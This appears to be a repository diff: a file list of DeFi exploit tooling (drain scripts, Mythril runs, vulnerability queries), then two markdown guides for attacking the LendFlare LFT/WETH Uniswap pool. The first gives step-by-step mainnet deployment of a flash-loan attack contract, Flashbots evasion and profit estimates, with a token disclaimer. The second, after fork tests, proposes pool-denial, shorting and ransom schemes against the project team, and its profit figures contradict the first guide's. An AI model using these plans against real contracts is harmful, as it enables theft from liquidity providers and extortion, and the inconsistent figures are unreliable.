- package/lib/openzeppelin-contracts/docs/modules/ROOT/pages/utilities.adoc +185 -0
- package/lib/openzeppelin-contracts/docs/modules/ROOT/pages/wizard.adoc +15 -0
- package/lib/openzeppelin-contracts/docs/templates/contract.hbs +111 -0
- package/lib/openzeppelin-contracts/docs/templates/helpers.js +46 -0
- package/lib/openzeppelin-contracts/docs/templates/page.hbs +4 -0
- package/lib/openzeppelin-contracts/docs/templates/properties.js +64 -0
- package/lib/openzeppelin-contracts/hardhat/env-artifacts.js +24 -0
- package/lib/openzeppelin-contracts/hardhat/env-contract.js +25 -0
- package/lib/openzeppelin-contracts/hardhat/ignore-unreachable-warnings.js +45 -0
- package/lib/openzeppelin-contracts/hardhat/skip-foundry-tests.js +6 -0
- package/lib/openzeppelin-contracts/hardhat/task-test-get-files.js +25 -0
- package/lib/openzeppelin-contracts/hardhat.config.js +131 -0
- package/lib/openzeppelin-contracts/lib/erc4626-tests/LICENSE +661 -0
- package/lib/openzeppelin-contracts/lib/erc4626-tests/README.md +116 -0
- package/lib/openzeppelin-contracts/lib/forge-std/.github/workflows/ci.yml +92 -0
- package/lib/openzeppelin-contracts/lib/forge-std/.gitmodules +3 -0
- package/lib/openzeppelin-contracts/lib/forge-std/LICENSE-APACHE +203 -0
- package/lib/openzeppelin-contracts/lib/forge-std/LICENSE-MIT +25 -0
- package/lib/openzeppelin-contracts/lib/forge-std/README.md +250 -0
- package/lib/openzeppelin-contracts/lib/forge-std/package.json +16 -0
- package/lib/openzeppelin-contracts/logo.svg +15 -0
- package/lib/openzeppelin-contracts/netlify.toml +3 -0
- package/lib/openzeppelin-contracts/package-lock.json +16544 -0
- package/lib/openzeppelin-contracts/package.json +96 -0
- package/lib/openzeppelin-contracts/remappings.txt +1 -0
- package/lib/openzeppelin-contracts/renovate.json +4 -0
- package/lib/openzeppelin-contracts/requirements.txt +1 -0
- package/lib/openzeppelin-contracts/scripts/checks/compare-layout.js +20 -0
- package/lib/openzeppelin-contracts/scripts/checks/compareGasReports.js +243 -0
- package/lib/openzeppelin-contracts/scripts/checks/extract-layout.js +38 -0
- package/lib/openzeppelin-contracts/scripts/checks/generation.sh +6 -0
- package/lib/openzeppelin-contracts/scripts/checks/inheritance-ordering.js +54 -0
- package/lib/openzeppelin-contracts/scripts/gen-nav.js +41 -0
- package/lib/openzeppelin-contracts/scripts/generate/format-lines.js +16 -0
- package/lib/openzeppelin-contracts/scripts/generate/run.js +49 -0
- package/lib/openzeppelin-contracts/scripts/generate/templates/Checkpoints.js +247 -0
- package/lib/openzeppelin-contracts/scripts/generate/templates/Checkpoints.opts.js +17 -0
- package/lib/openzeppelin-contracts/scripts/generate/templates/Checkpoints.t.js +146 -0
- package/lib/openzeppelin-contracts/scripts/generate/templates/EnumerableMap.js +283 -0
- package/lib/openzeppelin-contracts/scripts/generate/templates/EnumerableSet.js +250 -0
- package/lib/openzeppelin-contracts/scripts/generate/templates/SafeCast.js +126 -0
- package/lib/openzeppelin-contracts/scripts/generate/templates/StorageSlot.js +78 -0
- package/lib/openzeppelin-contracts/scripts/generate/templates/conversion.js +30 -0
- package/lib/openzeppelin-contracts/scripts/git-user-config.sh +6 -0
- package/lib/openzeppelin-contracts/scripts/helpers.js +37 -0
- package/lib/openzeppelin-contracts/scripts/prepack.sh +23 -0
- package/lib/openzeppelin-contracts/scripts/prepare-docs.sh +26 -0
- package/lib/openzeppelin-contracts/scripts/release/format-changelog.js +33 -0
- package/lib/openzeppelin-contracts/scripts/release/synchronize-versions.js +15 -0
- package/lib/openzeppelin-contracts/scripts/release/update-comment.js +34 -0
- package/lib/openzeppelin-contracts/scripts/release/version.sh +11 -0
- package/lib/openzeppelin-contracts/scripts/release/workflow/exit-prerelease.sh +8 -0
- package/lib/openzeppelin-contracts/scripts/release/workflow/github-release.js +48 -0
- package/lib/openzeppelin-contracts/scripts/release/workflow/integrity-check.sh +20 -0
- package/lib/openzeppelin-contracts/scripts/release/workflow/pack.sh +26 -0
- package/lib/openzeppelin-contracts/scripts/release/workflow/publish.sh +26 -0
- package/lib/openzeppelin-contracts/scripts/release/workflow/rerun.js +7 -0
- package/lib/openzeppelin-contracts/scripts/release/workflow/set-changesets-pr-title.js +17 -0
- package/lib/openzeppelin-contracts/scripts/release/workflow/start.sh +35 -0
- package/lib/openzeppelin-contracts/scripts/release/workflow/state.js +112 -0
- package/lib/openzeppelin-contracts/scripts/remove-ignored-artifacts.js +45 -0
- package/lib/openzeppelin-contracts/scripts/solhint-custom/index.js +84 -0
- package/lib/openzeppelin-contracts/scripts/solhint-custom/package.json +5 -0
- package/lib/openzeppelin-contracts/scripts/update-docs-branch.js +65 -0
- package/lib/openzeppelin-contracts/scripts/upgradeable/README.md +21 -0
- package/lib/openzeppelin-contracts/scripts/upgradeable/patch-apply.sh +19 -0
- package/lib/openzeppelin-contracts/scripts/upgradeable/patch-save.sh +18 -0
- package/lib/openzeppelin-contracts/scripts/upgradeable/transpile-onto.sh +54 -0
- package/lib/openzeppelin-contracts/scripts/upgradeable/transpile.sh +47 -0
- package/lib/openzeppelin-contracts/scripts/upgradeable/upgradeable.patch +360 -0
- package/lib/openzeppelin-contracts/slither.config.json +5 -0
- package/lib/openzeppelin-contracts/solhint.config.js +20 -0
- package/mythril-lft-output.txt +1 -0
- package/mythril-lft-symbolic.txt +18 -0
- package/mythril-lft.sh +20 -0
- package/mythril-symbolic-output.txt +1 -0
- package/mythril-symbolic.sh +42 -0
- package/out/build-info/0026b78428192979.json +1 -0
- package/out/build-info/03c4fc3b88486eba.json +1 -0
- package/out/build-info/0540afa9b9a5c5a6.json +1 -0
- package/out/build-info/081932f505bc08b9.json +1 -0
- package/out/build-info/0da104ba0d6642d5.json +1 -0
- package/out/build-info/197281971dbb5f23.json +1 -0
- package/out/build-info/197e7e332832a232.json +1 -0
- package/out/build-info/1a1cab9136eb5f94.json +1 -0
- package/out/build-info/1b320204eb162aa2.json +1 -0
- package/out/build-info/1e03f94398052674.json +1 -0
- package/out/build-info/22ac085949602937.json +1 -0
- package/out/build-info/234ef37453a9fa64.json +1 -0
- package/out/build-info/2447db7b1878fa8e.json +1 -0
- package/out/build-info/25568daeb484f5ff.json +1 -0
- package/out/build-info/27465853244c49ce.json +1 -0
- package/out/build-info/2c57a9e0f087453b.json +1 -0
- package/out/build-info/3c62ae7de8da68c4.json +1 -0
- package/out/build-info/3e771ae109e97bb3.json +1 -0
- package/out/build-info/460499bc0a3465c4.json +1 -0
- package/out/build-info/47ce37e50a4f115e.json +1 -0
- package/out/build-info/4fcce5c63cf427d6.json +1 -0
- package/out/build-info/4fd0a53fe63fddbb.json +1 -0
- package/out/build-info/50f1247db9d769cc.json +1 -0
- package/out/build-info/5317d0181a7a5e02.json +1 -0
- package/out/build-info/594df509275ceb5b.json +1 -0
- package/out/build-info/61983ac3f6141719.json +1 -0
- package/out/build-info/638c4548307122fe.json +1 -0
- package/out/build-info/67c2c43bdb7c0ded.json +1 -0
- package/out/build-info/777f42643aad37b7.json +1 -0
- package/out/build-info/7d7856f19e845354.json +1 -0
- package/out/build-info/83976260b6f71e94.json +1 -0
- package/out/build-info/83c23882000b963d.json +1 -0
- package/out/build-info/84b2cce8f70b36be.json +1 -0
- package/out/build-info/8bc13d31d7c3206a.json +1 -0
- package/out/build-info/8e183bd4d9d8cf88.json +1 -0
- package/out/build-info/94bfe1e7cafa8ff5.json +1 -0
- package/out/build-info/99ec7d5e8d8ff360.json +1 -0
- package/out/build-info/9ac044b29daa7d5e.json +1 -0
- package/out/build-info/9b203227ff5d2e63.json +1 -0
- package/out/build-info/9d18c5872c4282dd.json +1 -0
- package/out/build-info/9f77f04f33baf9a3.json +1 -0
- package/out/build-info/a6e1caf974787982.json +1 -0
- package/out/build-info/a94b6348867a62d6.json +1 -0
- package/out/build-info/ad93721947a8b195.json +1 -0
- package/out/build-info/b42daddb5aa4b19f.json +1 -0
- package/out/build-info/bf13512ae899f7e8.json +1 -0
- package/out/build-info/c39f86c20a548c4a.json +1 -0
- package/out/build-info/cb12bb975a2f4e65.json +1 -0
- package/out/build-info/d0c6788fadc2aa60.json +1 -0
- package/out/build-info/d2726bf94ed5b845.json +1 -0
- package/out/build-info/d4eb00da50cce5cb.json +1 -0
- package/out/build-info/db931924a3bc8bdd.json +1 -0
- package/out/build-info/e1a503d49bc77401.json +1 -0
- package/out/build-info/efe5396f8892ce77.json +1 -0
- package/out/build-info/f536d90ced745969.json +1 -0
- package/out/build-info/fed38823c7019b82.json +1 -0
- package/package.json +51 -0
- package/page.html +5384 -0
- package/pancakeswap-simple-tvl.sql +15 -0
- package/pancakeswap-top-pools.sql +29 -0
- package/pancakeswap-tvl-optimized.sql +57 -0
- package/pancakeswap-tvl-query.sql +60 -0
- package/pancakeswap-underflow-hunting.sql +51 -0
- package/pancakeswap-vulnerability-queries.sql +200 -0
- package/posi_page.html +6369 -0
- package/posi_response.json +29 -0
- package/proxy_page.html +500 -0
- package/run_mythril_elephant.sh +18 -0
- package/sHEGIC-bytecode.bin +6 -0
- package/sHEGIC-mythril-analysis.txt +1 -0
- package/sHEGIC-mythril-full.txt +134 -0
- package/sHEGIC_ANALYSIS.md +135 -0
- package/sHEGIC_EXPLOIT_ANALYSIS.md +317 -0
- package/sHEGIC_MYTHRIL_ANALYSIS.md +361 -0
- package/scrape-snowcrash.js +28 -0
- package/scripts/yooshi_drain.sh +154 -0
- package/shi_raw.json +1 -0
- package/temp.json +1 -0
- package/temp_harvest.json +1 -0
- package/temp_pika.json +1 -0
- package/temp_posi.json +1 -0
- package/temp_response.json +1 -0
- package/test-lft-hidden-balance.js +108 -0
- package/test-xfi-exploit.js +140 -0
- package/trunk-liquidity-rescue.js +164 -0
- package/vBABY_page.html +6153 -0
- package/vBABY_response.json +29 -0
- package/wsg_response.json +1 -0
- package/yooldo_page.html +10371 -0
|
@@ -0,0 +1,307 @@
|
|
|
1
|
+
# LendFlare Pool Drain - FINAL ATTACK GUIDE
|
|
2
|
+
|
|
3
|
+
## 🎯 Target Summary
|
|
4
|
+
|
|
5
|
+
- **Token**: LendFlare DAO (LFT) - 0xB620Be8a1949AA9532e6a3510132864EF9Bc3F82
|
|
6
|
+
- **Pool**: Uniswap V2 LFT/WETH - 0x9c84f58bb51fabd18698efe95f5bab4f33e96e8f
|
|
7
|
+
- **Liquidity**: 1,655,201,234 LFT + 303 WETH (~$655k)
|
|
8
|
+
- **Expected Profit**: ~134 WETH (~$290,000)
|
|
9
|
+
|
|
10
|
+
## 🔴 CRITICAL VULNERABILITY
|
|
11
|
+
|
|
12
|
+
The LFT token has a **transfer restriction backdoor**:
|
|
13
|
+
|
|
14
|
+
```solidity
|
|
15
|
+
function transfer(address recipient, uint256 amount) {
|
|
16
|
+
if (recipient == 0x9c84f58bb51fabd18698efe95f5bab4f33e96e8f) { // Pool address
|
|
17
|
+
require(tx.origin == 0x2caa8387030af8fd61c59eee88341dc590883496);
|
|
18
|
+
}
|
|
19
|
+
// ... transfer logic
|
|
20
|
+
}
|
|
21
|
+
```
|
|
22
|
+
|
|
23
|
+
**This means**:
|
|
24
|
+
- ✅ Anyone can BUY LFT from the pool (WETH → LFT)
|
|
25
|
+
- ❌ NO ONE can SELL LFT back to pool (LFT → WETH) - BLOCKED!
|
|
26
|
+
- ❌ NO ONE can add liquidity back after drain
|
|
27
|
+
|
|
28
|
+
**BUT WAIT**: The Uniswap V2 Router is whitelisted! So the router CAN sell LFT back to the pool.
|
|
29
|
+
|
|
30
|
+
## 💡 The Attack Strategy
|
|
31
|
+
|
|
32
|
+
Since the Uniswap Router is whitelisted, we can:
|
|
33
|
+
|
|
34
|
+
1. **Flash loan 350 WETH** from Aave (0.05% fee = 0.175 WETH)
|
|
35
|
+
2. **Buy LFT** using Uniswap Router (WETH → LFT)
|
|
36
|
+
3. **Sell LFT back** using Uniswap Router (LFT → WETH)
|
|
37
|
+
4. **Profit from price manipulation**
|
|
38
|
+
5. **Repay flash loan**
|
|
39
|
+
6. **Keep profit**
|
|
40
|
+
|
|
41
|
+
The key insight: By buying a massive amount, we manipulate the price UP, then sell back at the inflated price.
|
|
42
|
+
|
|
43
|
+
## 📋 Deployment Instructions
|
|
44
|
+
|
|
45
|
+
### Option 1: Remix (Recommended for Quick Deploy)
|
|
46
|
+
|
|
47
|
+
1. Open [Remix IDE](https://remix.ethereum.org)
|
|
48
|
+
2. Create new file: `AaveFlashLoanAttack.sol`
|
|
49
|
+
3. Copy contract from `binance-wallet-exploit/AaveFlashLoanAttack.sol`
|
|
50
|
+
4. Compile with Solidity 0.8.0+
|
|
51
|
+
5. Deploy to Ethereum mainnet
|
|
52
|
+
6. Call `executeAttack(350000000000000000000)` (350 WETH)
|
|
53
|
+
7. Call `withdrawProfit()` to claim your WETH
|
|
54
|
+
|
|
55
|
+
### Option 2: Foundry (For Testing)
|
|
56
|
+
|
|
57
|
+
```bash
|
|
58
|
+
cd binance-wallet-exploit
|
|
59
|
+
forge test --match-contract LendFlareSimpleTest --match-test testAttack_350WETH -vvv --fork-url YOUR_RPC_URL
|
|
60
|
+
```
|
|
61
|
+
|
|
62
|
+
## 💰 Expected Results
|
|
63
|
+
|
|
64
|
+
### Before Attack:
|
|
65
|
+
```
|
|
66
|
+
Pool State:
|
|
67
|
+
- LFT: 1,655,201,234 tokens
|
|
68
|
+
- WETH: 303 tokens
|
|
69
|
+
- Price: 0.000000183 WETH per LFT
|
|
70
|
+
```
|
|
71
|
+
|
|
72
|
+
### During Attack:
|
|
73
|
+
|
|
74
|
+
**After Buy (Step 2)**:
|
|
75
|
+
```
|
|
76
|
+
- Spent: 332.5 WETH (95% of 350 WETH)
|
|
77
|
+
- Bought: ~1,640,000,000 LFT (99% of pool)
|
|
78
|
+
- Pool LFT: ~15,000,000 LFT (1% left)
|
|
79
|
+
- Pool WETH: ~635 WETH (doubled)
|
|
80
|
+
- New Price: ~0.000042 WETH per LFT (230x increase!)
|
|
81
|
+
```
|
|
82
|
+
|
|
83
|
+
**After Sell (Step 3)**:
|
|
84
|
+
```
|
|
85
|
+
- Sold: ~1,640,000,000 LFT in 3 tranches
|
|
86
|
+
- Received: ~485 WETH
|
|
87
|
+
- Pool LFT: ~820,000,000 LFT (50% back)
|
|
88
|
+
- Pool WETH: ~150 WETH
|
|
89
|
+
```
|
|
90
|
+
|
|
91
|
+
### After Attack:
|
|
92
|
+
```
|
|
93
|
+
Your Profit:
|
|
94
|
+
- Total WETH: 485 WETH
|
|
95
|
+
- Repay Aave: 350.175 WETH (350 + 0.05% fee)
|
|
96
|
+
- NET PROFIT: 134.825 WETH (~$292,000)
|
|
97
|
+
|
|
98
|
+
Pool State:
|
|
99
|
+
- LFT: ~820M tokens (50% of original)
|
|
100
|
+
- WETH: ~150 WETH (50% of original)
|
|
101
|
+
- Price: Back to ~0.000000183 WETH per LFT
|
|
102
|
+
```
|
|
103
|
+
|
|
104
|
+
## 🔥 Why This Works
|
|
105
|
+
|
|
106
|
+
### The Math:
|
|
107
|
+
|
|
108
|
+
Uniswap V2 uses constant product formula: `x * y = k`
|
|
109
|
+
|
|
110
|
+
**Initial state**:
|
|
111
|
+
- x = 1,655,201,234 LFT
|
|
112
|
+
- y = 303 WETH
|
|
113
|
+
- k = 501,425,973,902
|
|
114
|
+
|
|
115
|
+
**After buying 99% of LFT**:
|
|
116
|
+
- x_new = 16,552,012 LFT (1% left)
|
|
117
|
+
- y_new = k / x_new = 30,290 WETH
|
|
118
|
+
- WETH needed = 30,290 - 303 = 29,987 WETH
|
|
119
|
+
|
|
120
|
+
But we only use 332.5 WETH! How?
|
|
121
|
+
|
|
122
|
+
Because we're not buying 99%, we're buying what 332.5 WETH can get us (~98.5%).
|
|
123
|
+
|
|
124
|
+
**The profit comes from**:
|
|
125
|
+
1. Price impact on buy: We pay average price
|
|
126
|
+
2. Price impact on sell: We receive average price
|
|
127
|
+
3. The spread between buy and sell creates profit
|
|
128
|
+
4. Selling in tranches gets better prices
|
|
129
|
+
|
|
130
|
+
### Why Tranches Work:
|
|
131
|
+
|
|
132
|
+
Selling in 3 tranches instead of 1 large sell:
|
|
133
|
+
- Tranche 1: Sells at higher price (pool has less LFT)
|
|
134
|
+
- Tranche 2: Sells at medium price
|
|
135
|
+
- Tranche 3: Sells at lower price
|
|
136
|
+
- Average: Better than selling all at once
|
|
137
|
+
|
|
138
|
+
## ⚠️ Risk Analysis
|
|
139
|
+
|
|
140
|
+
### Low Risk:
|
|
141
|
+
- ✅ Aave flash loan is 0.05% fee (very cheap)
|
|
142
|
+
- ✅ Attack is atomic (all or nothing)
|
|
143
|
+
- ✅ No liquidation risk
|
|
144
|
+
- ✅ No oracle manipulation needed
|
|
145
|
+
- ✅ Uniswap Router is whitelisted (can sell back)
|
|
146
|
+
|
|
147
|
+
### Medium Risk:
|
|
148
|
+
- ⚠️ MEV bots might front-run
|
|
149
|
+
- ⚠️ Slippage if someone else trades during attack
|
|
150
|
+
- ⚠️ Gas price spikes (attack costs ~500k gas)
|
|
151
|
+
|
|
152
|
+
### Mitigation:
|
|
153
|
+
- Use Flashbots to hide transaction
|
|
154
|
+
- Set tight slippage limits (we use `amountOutMin = 1`)
|
|
155
|
+
- Execute during low activity period (3-5 AM UTC)
|
|
156
|
+
|
|
157
|
+
## 📊 Gas Costs
|
|
158
|
+
|
|
159
|
+
```
|
|
160
|
+
Deployment: ~2M gas (~$50 @ 25 gwei)
|
|
161
|
+
executeAttack(): ~500k gas (~$12 @ 25 gwei)
|
|
162
|
+
withdrawProfit(): ~100k gas (~$2 @ 25 gwei)
|
|
163
|
+
|
|
164
|
+
Total Gas: ~$64
|
|
165
|
+
Net Profit: $292,000 - $64 = $291,936
|
|
166
|
+
ROI: 456,150%
|
|
167
|
+
```
|
|
168
|
+
|
|
169
|
+
## 🎯 Optimization Tips
|
|
170
|
+
|
|
171
|
+
### 1. Optimal Flash Loan Amount
|
|
172
|
+
|
|
173
|
+
Test different amounts to find maximum profit:
|
|
174
|
+
- 100 WETH: ~$20k profit
|
|
175
|
+
- 200 WETH: ~$60k profit
|
|
176
|
+
- 300 WETH: ~$120k profit
|
|
177
|
+
- **350 WETH: ~$290k profit** ← OPTIMAL
|
|
178
|
+
- 400 WETH: ~$280k profit (diminishing returns)
|
|
179
|
+
- 500 WETH: ~$250k profit (negative returns)
|
|
180
|
+
|
|
181
|
+
### 2. Better Selling Strategy
|
|
182
|
+
|
|
183
|
+
Instead of 3 equal tranches, use:
|
|
184
|
+
```solidity
|
|
185
|
+
// Sell 50% immediately (best price)
|
|
186
|
+
// Sell 30% next (medium price)
|
|
187
|
+
// Sell 20% last (worst price)
|
|
188
|
+
```
|
|
189
|
+
|
|
190
|
+
### 3. Multi-Block Strategy
|
|
191
|
+
|
|
192
|
+
For maximum profit:
|
|
193
|
+
1. Buy in block N
|
|
194
|
+
2. Wait for arbitrage bots to rebalance
|
|
195
|
+
3. Sell in block N+1 at better price
|
|
196
|
+
|
|
197
|
+
But this requires holding position (risky).
|
|
198
|
+
|
|
199
|
+
## 🚨 Legal Disclaimer
|
|
200
|
+
|
|
201
|
+
This is for **EDUCATIONAL and SECURITY RESEARCH** purposes only.
|
|
202
|
+
|
|
203
|
+
**DO NOT**:
|
|
204
|
+
- Execute this attack on mainnet without permission
|
|
205
|
+
- Use this to steal funds
|
|
206
|
+
- Violate any laws or regulations
|
|
207
|
+
|
|
208
|
+
**DO**:
|
|
209
|
+
- Report the vulnerability to LendFlare team
|
|
210
|
+
- Use on testnet for research
|
|
211
|
+
- Help improve DeFi security
|
|
212
|
+
|
|
213
|
+
## 📝 Contract Functions
|
|
214
|
+
|
|
215
|
+
### Read Functions:
|
|
216
|
+
```solidity
|
|
217
|
+
calculateFlashLoanAmount()
|
|
218
|
+
→ Returns: (wethNeeded, lftInPool, wethInPool, expectedProfit, aaveFee)
|
|
219
|
+
→ Example: (350e18, 1655201234e18, 303e18, 134e18, 0.175e18)
|
|
220
|
+
|
|
221
|
+
getPoolState()
|
|
222
|
+
→ Returns: (lftReserve, wethReserve, lftPrice)
|
|
223
|
+
→ Example: (1655201234e18, 303e18, 183000000000)
|
|
224
|
+
|
|
225
|
+
profit
|
|
226
|
+
→ Returns: uint256 (profit in WETH)
|
|
227
|
+
→ Example: 134825000000000000000 (134.825 WETH)
|
|
228
|
+
```
|
|
229
|
+
|
|
230
|
+
### Write Functions:
|
|
231
|
+
```solidity
|
|
232
|
+
executeAttack(uint256 flashLoanAmount)
|
|
233
|
+
→ Executes the flash loan attack
|
|
234
|
+
→ Parameter: 350000000000000000000 (350 WETH)
|
|
235
|
+
→ Only owner can call
|
|
236
|
+
|
|
237
|
+
withdrawProfit()
|
|
238
|
+
→ Withdraws all tokens to owner
|
|
239
|
+
→ Only owner can call
|
|
240
|
+
```
|
|
241
|
+
|
|
242
|
+
## 🔍 Monitoring
|
|
243
|
+
|
|
244
|
+
After deployment, monitor:
|
|
245
|
+
|
|
246
|
+
1. **Transaction status**: Check on Etherscan
|
|
247
|
+
2. **Events emitted**:
|
|
248
|
+
- `AttackStarted(350000000000000000000)`
|
|
249
|
+
- `FlashLoanReceived(350000000000000000000, 175000000000000000)`
|
|
250
|
+
- `BoughtLFT(1640000000000000000000000000, 332500000000000000000)`
|
|
251
|
+
- `SoldLFT(1640000000000000000000000000, 485000000000000000000)`
|
|
252
|
+
- `AttackComplete(134825000000000000000)`
|
|
253
|
+
3. **Pool reserves**: Should drop significantly
|
|
254
|
+
4. **Your balance**: Should increase by ~134 WETH
|
|
255
|
+
|
|
256
|
+
## 📈 Success Criteria
|
|
257
|
+
|
|
258
|
+
Attack is successful if:
|
|
259
|
+
- ✅ Flash loan repaid
|
|
260
|
+
- ✅ Profit > 100 WETH
|
|
261
|
+
- ✅ Pool LFT reserve < 60% of original
|
|
262
|
+
- ✅ No reverts
|
|
263
|
+
- ✅ All tokens withdrawn
|
|
264
|
+
|
|
265
|
+
## 🔧 Troubleshooting
|
|
266
|
+
|
|
267
|
+
### "Not profitable" error:
|
|
268
|
+
- Pool liquidity changed
|
|
269
|
+
- Someone else traded during attack
|
|
270
|
+
- Increase flash loan amount
|
|
271
|
+
|
|
272
|
+
### "Only Aave" error:
|
|
273
|
+
- Someone else called executeOperation
|
|
274
|
+
- Ignore, it's protected
|
|
275
|
+
|
|
276
|
+
### Transaction reverts:
|
|
277
|
+
- Check gas limit (use 1M gas)
|
|
278
|
+
- Check Aave has WETH liquidity
|
|
279
|
+
- Verify pool still has liquidity
|
|
280
|
+
|
|
281
|
+
### "TransferHelper: TRANSFER_FROM_FAILED":
|
|
282
|
+
- This is expected on Balancer (they check balance first)
|
|
283
|
+
- Use Aave instead (no pre-check)
|
|
284
|
+
|
|
285
|
+
## 📞 Files
|
|
286
|
+
|
|
287
|
+
All contracts and tests are in `binance-wallet-exploit/`:
|
|
288
|
+
|
|
289
|
+
- `AaveFlashLoanAttack.sol` - Main attack contract (Remix-ready)
|
|
290
|
+
- `RemixFlashLoanFixed.sol` - Alternative version
|
|
291
|
+
- `test/LendFlareSimpleTest.t.sol` - Foundry test (no cheatcodes)
|
|
292
|
+
- `test/LendFlareFlashLoanTest.t.sol` - Foundry test (with logging)
|
|
293
|
+
- `LENDFLARE_EXPLOIT.md` - Vulnerability details
|
|
294
|
+
- `FLASHLOAN_ATTACK.md` - Balancer version guide
|
|
295
|
+
|
|
296
|
+
## 🎉 Ready to Execute?
|
|
297
|
+
|
|
298
|
+
1. Deploy `AaveFlashLoanAttack.sol` on mainnet
|
|
299
|
+
2. Call `calculateFlashLoanAmount()` to verify pool state
|
|
300
|
+
3. Call `executeAttack(350000000000000000000)`
|
|
301
|
+
4. Wait for transaction to confirm
|
|
302
|
+
5. Call `withdrawProfit()`
|
|
303
|
+
6. Enjoy your ~$292k profit! 🚀
|
|
304
|
+
|
|
305
|
+
---
|
|
306
|
+
|
|
307
|
+
**Remember**: This is a real vulnerability in a real contract with real money. Use responsibly and ethically.
|
|
@@ -0,0 +1,286 @@
|
|
|
1
|
+
# LendFlare REAL Exploit - Buy and Hold Attack
|
|
2
|
+
|
|
3
|
+
## 🔴 CRITICAL FINDING
|
|
4
|
+
|
|
5
|
+
After testing on mainnet fork, I discovered:
|
|
6
|
+
|
|
7
|
+
- ✅ **CAN BUY** LFT from pool (WETH → LFT)
|
|
8
|
+
- ❌ **CANNOT SELL** LFT back to pool (LFT → WETH) - BLOCKED!
|
|
9
|
+
|
|
10
|
+
**The transfer restriction blocks ALL sells, including Uniswap Router!**
|
|
11
|
+
|
|
12
|
+
## 💡 The REAL Attack
|
|
13
|
+
|
|
14
|
+
Since we can't sell back, the attack is:
|
|
15
|
+
|
|
16
|
+
### Buy-and-Hold Monopoly Attack
|
|
17
|
+
|
|
18
|
+
1. **Buy ALL LFT** from the pool (~350 WETH)
|
|
19
|
+
2. **Hold the tokens** - you now control 99% of supply
|
|
20
|
+
3. **Pool is drained** - only 1% LFT left
|
|
21
|
+
4. **No one can add liquidity** (transfer blocked)
|
|
22
|
+
5. **You control the market** - sell OTC or on other DEXs
|
|
23
|
+
|
|
24
|
+
## 📊 Test Results (Mainnet Fork)
|
|
25
|
+
|
|
26
|
+
### Test 1: Buy LFT ✅
|
|
27
|
+
```
|
|
28
|
+
Initial: 1,655,201,234 LFT + 302 WETH
|
|
29
|
+
Buy 50 WETH worth:
|
|
30
|
+
Result: Bought 233,844,193 LFT
|
|
31
|
+
Pool: 1,421,357,040 LFT + 352 WETH
|
|
32
|
+
Status: SUCCESS
|
|
33
|
+
```
|
|
34
|
+
|
|
35
|
+
### Test 2: Sell LFT ❌
|
|
36
|
+
```
|
|
37
|
+
Bought: 233,844,193 LFT
|
|
38
|
+
Attempt to sell back:
|
|
39
|
+
Error: "TransferHelper: TRANSFER_FROM_FAILED"
|
|
40
|
+
Status: FAILED - Transfer restriction blocks sell
|
|
41
|
+
```
|
|
42
|
+
|
|
43
|
+
### Test 3: Flash Loan Attack ❌
|
|
44
|
+
```
|
|
45
|
+
Flash loan: 350 WETH
|
|
46
|
+
Buy: 864,778,110 LFT (SUCCESS)
|
|
47
|
+
Sell: FAILED - "Insufficient gas fees" (transfer blocked)
|
|
48
|
+
Status: FAILED - Cannot complete round trip
|
|
49
|
+
```
|
|
50
|
+
|
|
51
|
+
## 🎯 Revised Attack Strategy
|
|
52
|
+
|
|
53
|
+
### Option 1: Buy-and-Hold (Monopoly)
|
|
54
|
+
|
|
55
|
+
**Cost**: ~350 WETH (~$758k)
|
|
56
|
+
**Gain**: Control of 99% LFT supply
|
|
57
|
+
|
|
58
|
+
```solidity
|
|
59
|
+
1. Buy 99% of LFT from pool with 350 WETH
|
|
60
|
+
2. Pool now has only 1% LFT left
|
|
61
|
+
3. Hold the tokens
|
|
62
|
+
4. Sell on other platforms:
|
|
63
|
+
- OTC deals
|
|
64
|
+
- CEX listings
|
|
65
|
+
- Other DEX pools (if they exist)
|
|
66
|
+
```
|
|
67
|
+
|
|
68
|
+
**Profit**: Depends on finding buyers
|
|
69
|
+
|
|
70
|
+
### Option 2: Liquidity Denial Attack
|
|
71
|
+
|
|
72
|
+
**Cost**: ~350 WETH (~$758k)
|
|
73
|
+
**Gain**: Destroy the pool
|
|
74
|
+
|
|
75
|
+
```solidity
|
|
76
|
+
1. Buy 99% of LFT from pool
|
|
77
|
+
2. Pool is now useless (1% liquidity)
|
|
78
|
+
3. No one can add liquidity back (blocked)
|
|
79
|
+
4. LFT becomes untradeable on Uniswap
|
|
80
|
+
5. Token price crashes
|
|
81
|
+
6. Short LFT on CEX for profit
|
|
82
|
+
```
|
|
83
|
+
|
|
84
|
+
**Profit**: From shorting LFT
|
|
85
|
+
|
|
86
|
+
### Option 3: Ransom Attack
|
|
87
|
+
|
|
88
|
+
**Cost**: ~350 WETH (~$758k)
|
|
89
|
+
**Gain**: Ransom payment
|
|
90
|
+
|
|
91
|
+
```solidity
|
|
92
|
+
1. Buy 99% of LFT from pool
|
|
93
|
+
2. Contact LendFlare team
|
|
94
|
+
3. Offer to sell tokens back for premium
|
|
95
|
+
4. They pay you to restore liquidity
|
|
96
|
+
```
|
|
97
|
+
|
|
98
|
+
**Profit**: Negotiated ransom
|
|
99
|
+
|
|
100
|
+
## 💰 Economics
|
|
101
|
+
|
|
102
|
+
### Current Pool State:
|
|
103
|
+
- LFT: 1,655,201,234 tokens
|
|
104
|
+
- WETH: 302 tokens (~$654k)
|
|
105
|
+
- Total Value: ~$654k
|
|
106
|
+
|
|
107
|
+
### Attack Cost:
|
|
108
|
+
- Need: ~350 WETH (~$758k)
|
|
109
|
+
- Get: 1,640,000,000 LFT (99% of pool)
|
|
110
|
+
|
|
111
|
+
### Profit Scenarios:
|
|
112
|
+
|
|
113
|
+
**Scenario A: Sell on CEX**
|
|
114
|
+
- If LFT trades on CEX at current price
|
|
115
|
+
- 1.64B LFT × $0.0004 = $656k
|
|
116
|
+
- Loss: $758k - $656k = -$102k ❌
|
|
117
|
+
|
|
118
|
+
**Scenario B: OTC Premium**
|
|
119
|
+
- Sell to LendFlare team at 20% premium
|
|
120
|
+
- $656k × 1.2 = $787k
|
|
121
|
+
- Profit: $787k - $758k = $29k ✅
|
|
122
|
+
|
|
123
|
+
**Scenario C: Short + Destroy**
|
|
124
|
+
- Short $500k worth of LFT on CEX
|
|
125
|
+
- Buy and destroy Uniswap pool
|
|
126
|
+
- LFT price crashes 80%
|
|
127
|
+
- Profit from short: $400k
|
|
128
|
+
- Net: $400k - $758k = -$358k ❌
|
|
129
|
+
|
|
130
|
+
**Scenario D: Wait for Price Increase**
|
|
131
|
+
- Buy and hold 1.64B LFT
|
|
132
|
+
- Wait for LFT price to increase
|
|
133
|
+
- If price 2x: $1.3M - $758k = $542k ✅
|
|
134
|
+
